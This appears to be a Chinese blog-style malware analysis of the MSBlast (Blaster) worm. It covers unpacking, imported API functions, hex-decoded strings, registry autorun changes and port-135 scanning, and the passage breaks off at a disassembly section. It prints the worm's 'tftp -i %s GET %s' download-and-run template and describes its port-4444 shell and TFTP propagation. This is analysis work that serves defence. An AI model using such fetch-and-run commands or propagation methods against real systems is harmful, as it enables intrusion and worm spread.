冲击波(MSBlast)蠕虫区分报告

前几天针对目前流行的蠕虫冲击波(MSBlast.exe)蠕虫而写了一篇文章,在该文中我并没有描述的更详细，导致很多网友认为我的文章是Copy + Paste，而且我心里的确不舒服。写本文章的目的是为了以后分析蠕虫更简单，当作自己分析蠕虫的笔记看。另一方面是国内安全厂商都没有公布更具体的蠕虫分析报告，所以才使我写这篇文章。请高手阅读之后可以从中指出我表达错误的地方。谢谢! 微软针对该漏洞提供安全补丁下载：http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS03-026.asp

蠕虫脱壳
  8月`12日11:19分接到某公司的紧急报告，内部网遭遇不明蠕虫蠕虫攻击。下午5:00处理完之后，我将蠕虫样本取回。
  取回样本之后查看MSBlast.exe，字节数为6176字节。利用Winhex查看MSBlast.exe十六进制，发现十六进制中包含UPX字符，从经验可以断定是利用UPX压缩，但还是利用language进行识别，判定的确为UPX加壳之后，利用UPXShell将MSBlast.exe进行脱壳之后字节数为11296字节。

蠕虫浅析
  利用W32dsm打开己脱壳的MSBlast.exe，可以从中分析蠕虫PE文件具体信息，对后面章节分析蠕虫有较大的帮助。
************************************反汇编MSBlast.exe***************************************
Disassembly of File: msblast.exe              *反汇编文件名称:msblast.exe
Code Offset = 00000400, Code Size = 00001458    *代码偏移量: 00000400,代码大小=00001458
Data Offset = 00001A00, Data Size = 0000088C    *数据偏移量: 00001A00,数据大小=0000088C

Number of Objects = 0004 (dec), Imagebase = 00400000h
*对象共计= 0004 (dec), 基地址 = 00400000h

  Object01: .text  RVA: 00001000 Offset: 00000400 Size: 00001458 Flags: 60000020
  Object02: .bss   RVA: 00003000 Offset: 00000000 Size: 00000000 Flags: C0000080
  Object03: .data  RVA: 00004000 Offset: 00001A00 Size: 0000088C Flags: C0000040
  Object04: .idata  RVA: 00005000 Offset: 00002400 Size: 000006C0 Flags: C0000060

*Object01: .text  相对虚拟地址: 00001000 偏移量: 00000400 大小: 00001458标记位: 60000020
*Object02: .bss  相对虚拟地址: 00003000 偏移量: 00000000 大小: 00000000标记位: C0000080
*Object03: .data  相对虚拟地址: 00004000 偏移量: 00001A00 大小: 0000088C标记位: C0000040
*Object04: .idata 相对虚拟地址: 00005000 偏移量: 00002400 大小: 000006C0标记位: C0000060
*文中含有*为解释部分仅供读者参考。
********************************************************************************************
  可以从以上的数据中获取蠕虫在内存中执行的数据，该蠕虫PE文件共分为4个区块,分别为text、bss、data、idata。脱壳后的蠕虫的入口点则为11CBh。

  MSBlast.exe蠕虫共调用5个DLL模块，53个Win32 API函数。5个DLL模块分别为KERNEL32.DLL、ADVAPI32.DLL、CRTDLL.DLL、WININET.DLL、WS2_32.DLL，53个Win32 API函数请参照以下反汇编数据。

********************************************************************************************
+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++
Number of Imported Modules =  5 (decimal)

  Import Module 001: KERNEL32.DLL
  Import Module 002: ADVAPI32.DLL
  Import Module 003: CRTDLL.DLL
  Import Module 004: WININET.DLL
  Import Module 005: WS2_32.DLL

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

  Import Module 001: KERNEL32.DLL

Addr:000053E8 hint(0000) Name: ExitProcess
Addr:000053F8 hint(0000) Name: ExitThread
Addr:00005408 hint(0000) Name: GetCommandLineA
Addr:0000541C hint(0000) Name: GetDateFormatA
Addr:00005430 hint(0000) Name: GetLastError
Addr:00005440 hint(0000) Name: GetModuleFileNameA
Addr:00005458 hint(0000) Name: GetModuleHandleA
Addr:0000546C hint(0000) Name: CloseHandle
Addr:0000547C hint(0000) Name: GetTickCount
Addr:0000548C hint(0000) Name: RtlUnwind
Addr:00005498 hint(0000) Name: CreateMutexA
Addr:000054A8 hint(0000) Name: Sleep
Addr:000054B0 hint(0000) Name: TerminateThread
Addr:000054C4 hint(0000) Name: CreateThread

  Import Module 002: ADVAPI32.DLL

Addr:000054D4 hint(0000) Name: RegCloseKey
Addr:000054E4 hint(0000) Name: RegCreateKeyExA
Addr:000054F8 hint(0000) Name: RegSetValueExA

  Import Module 003: CRTDLL.DLL

Addr:0000550C hint(0000) Name: __GetMainArgs
Addr:0000551C hint(0000) Name: atoi
Addr:00005524 hint(0000) Name: exit
Addr:0000552C hint(0000) Name: fclose
Addr:00005538 hint(0000) Name: fopen
Addr:00005540 hint(0000) Name: fread
Addr:00005548 hint(0000) Name: memcpy
Addr:00005554 hint(0000) Name: memset
Addr:00005560 hint(0000) Name: raise
Addr:00005568 hint(0000) Name: rand
Addr:00005570 hint(0000) Name: signal
Addr:0000557C hint(0000) Name: sprintf
Addr:00005588 hint(0000) Name: srand
Addr:00005590 hint(0000) Name: strchr
Addr:0000559C hint(0000) Name: strtok

  Import Module 004: WININET.DLL

Addr:000053CC hint(0000) Name: InternetGetConnectedState

  Import Module 005: WS2_32.DLL

Addr:000052C0 hint(0000) Name: htons
Addr:000052C8 hint(0000) Name: ioctlsocket
Addr:000052D8 hint(0000) Name: inet_addr
Addr:000052E4 hint(0000) Name: inet_ntoa
Addr:000052F0 hint(0000) Name: recvfrom
Addr:000052FC hint(0000) Name: select
Addr:00005308 hint(0000) Name: send
Addr:00005310 hint(0000) Name: sendto
Addr:0000531C hint(0000) Name: setsockopt
Addr:0000532C hint(0000) Name: socket
Addr:00005338 hint(0000) Name: gethostbyname
Addr:00005348 hint(0000) Name: bind
Addr:00005350 hint(0000) Name: gethostname
Addr:00005360 hint(0000) Name: closesocket
Addr:00005370 hint(0000) Name: WSAStartup
Addr:00005380 hint(0000) Name: WSACleanup
Addr:00005390 hint(0000) Name: connect
Addr:0000539C hint(0000) Name: getpeername
Addr:000053AC hint(0000) Name: getsockname
Addr:000053BC hint(0000) Name: WSASocketA

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0000 (decimal)
********************************************************************************************

  看完以上Win32 API函数，你也许就明白了蠕虫调用那些API函数，如要不太熟API函数可以参阅MSDN获取更详细的资料。了解API函数针对蠕虫每个动作就会非常熟悉。

  以上的分析为反汇编分析，而以下部分是利用Winhex查看蠕虫十六进制。因为MSBlast.EXE蠕虫变种并没有广泛流传，所以以下十六进制的分析内容与其它安全厂商专业人员分析的基本吻合。

  
********************************************************************************************
49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C 79 20 67 61 74 65 73 20 77 68 79 20 64 6F 20 79 6F 75 20 6D 61 6B 65 20 74 68 69 73 20 70 6F 73 73 69 62 6C 65 20 3F 20 53 74 6F 70 20 6D 61 6B 69 6E 67 20 6D 6F 6E 65 79 20 61 6E 64 20 66 69 78 20 79 6F 75 72 20 73 6F 66 74 77 61 72 65 21 21 00

*利用Winhex查看十六进制，发现偏移为00001A40的十六进制的ASCII转换为明文为:
I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 75 70 64 61 74 65 2E 63 6F 6D

*利用Winhex查看十六进制，发现偏移为000021E0的十六进制的ASCII转换为明文为:
windowsupdate.com
********************************************************************************************

********************************************************************************************
73 74 61 72 74 20 25 73 0A 00 74 66 74 70 20 2D 69 20 25 73 20 47 45 54 20 25 73

*利用Winhex查看十六进制。发现偏移为00002200的十六进制，其中%s为变量。ASCII转换为明文为:
start %s tftp -i %s GET %s
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 20 61 75 74 6F 20 75 70 64 61 74 65 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 52 75 6E

*利用Winhex查看十六进制。发现偏移为00002250的十六进制的ASCII转换为明文为:
windows auto update SOFTWARE\Microsoft\Windows\CurrentVersion\Run
********************************************************************************************

开始跟踪
  写这部分需要将蠕虫运行，虽然我只有一台公司笔记本电脑，里面却包含8G从网络收集的资料。前几天我还是忍痛将蠕虫在自己的笔记本上调试，只为了更仔细的分析蠕虫。开始运行蠕虫之前要准备好监视工具，看蠕虫会修改注册表、新增文件、开启端口等。

  运行MSBlast.exe蠕虫之后，利用Regshot监视注册表发现新增1处键值，键值为msblast.exe。我在运行的时候将MSBlast.exe放在C盘目录下，然写键值仍为msblast.exe，下次开机MSBlast.exe则不会自动运行。说明作者编写蠕虫时候键值并不是写入exe当前文件路径，而是指向system32目录下。我在测试过程中是这样的情况。而被感染蠕虫之后，MSBlast.exe文件都复制到对方的system32目录下，每次开机都会运行。
********************************************************************************************
增加值:1
----------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windows auto update: 6D 73 62 6C 61 73 74 2E 65 78 65 00 49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C
********************************************************************************************

  运行蠕虫之后创建mutex内核对象，蠕虫软件随机打开本地端口开始向外部IP发出20个syn扫描连接，  目标主机IP地址由蠕虫程式随机产生。
********************************************************************************************
TCP  192.168.0.23:4608   27.185.154.157:135   SYN_SENT
TCP  192.168.0.23:4609   27.185.154.158:135   SYN_SENT
TCP  192.168.0.23:4610   27.185.154.159:135   SYN_SENT
TCP  192.168.0.23:4611   27.185.154.160:135   SYN_SENT
TCP  192.168.0.23:4612   27.185.154.161:135   SYN_SENT
TCP  192.168.0.23:4613   27.185.154.162:135   SYN_SENT
TCP  192.168.0.23:4614   27.185.154.163:135   SYN_SENT
TCP  192.168.0.23:4615   27.185.154.164:135   SYN_SENT
TCP  192.168.0.23:4616   27.185.154.165:135   SYN_SENT
TCP  192.168.0.23:4617   27.185.154.166:135   SYN_SENT
TCP  192.168.0.23:4618   27.185.154.167:135   SYN_SENT
TCP  192.168.0.23:4619   27.185.154.168:135   SYN_SENT
TCP  192.168.0.23:4620   27.185.154.169:135   SYN_SENT
TCP  192.168.0.23:4621   27.185.154.170:135   SYN_SENT
TCP  192.168.0.23:4622   27.185.154.171:135   SYN_SENT
TCP  192.168.0.23:4623   27.185.154.172:135   SYN_SENT
TCP  192.168.0.23:4624   27.185.154.173:135   SYN_SENT
TCP  192.168.0.23:4625   27.185.154.174:135   SYN_SENT
TCP  192.168.0.23:4626   27.185.154.175:135   SYN_SENT
TCP  192.168.0.23:4627   27.185.154.176:135   SYN_SENT  
********************************************************************************************

  蠕虫反汇编代码中有一段代码是: tftp -i %s GET %s，此段代码用来下载蠕虫。默认情况下tftp的服务器开启的端口为UDP/69，如果蠕虫程序溢出目标主机成功之后会绑定目标主机一个4444的端口，然后发送下载消息，目标主机通过tftp下载蠕虫再运行蠕虫。反复循环导致更多的计算机受到感染。
攻击失败之后PRC服务会停止，文件复制贴粘功能失效,com+属性页无法显示。也有可能会造成svchost.exe进程被关闭，导致计算机重新启动。

深入分析
  1、利用W32dsm反汇编脱壳后的MSBlast.exe,阅读其汇编代码，发现汇编代码中包含蠕虫写入注册表键值的动作。
********************************************************************************************
* Referenced by a CALL at Address:

关键词：冲击波(MSBlast)蠕虫区分报告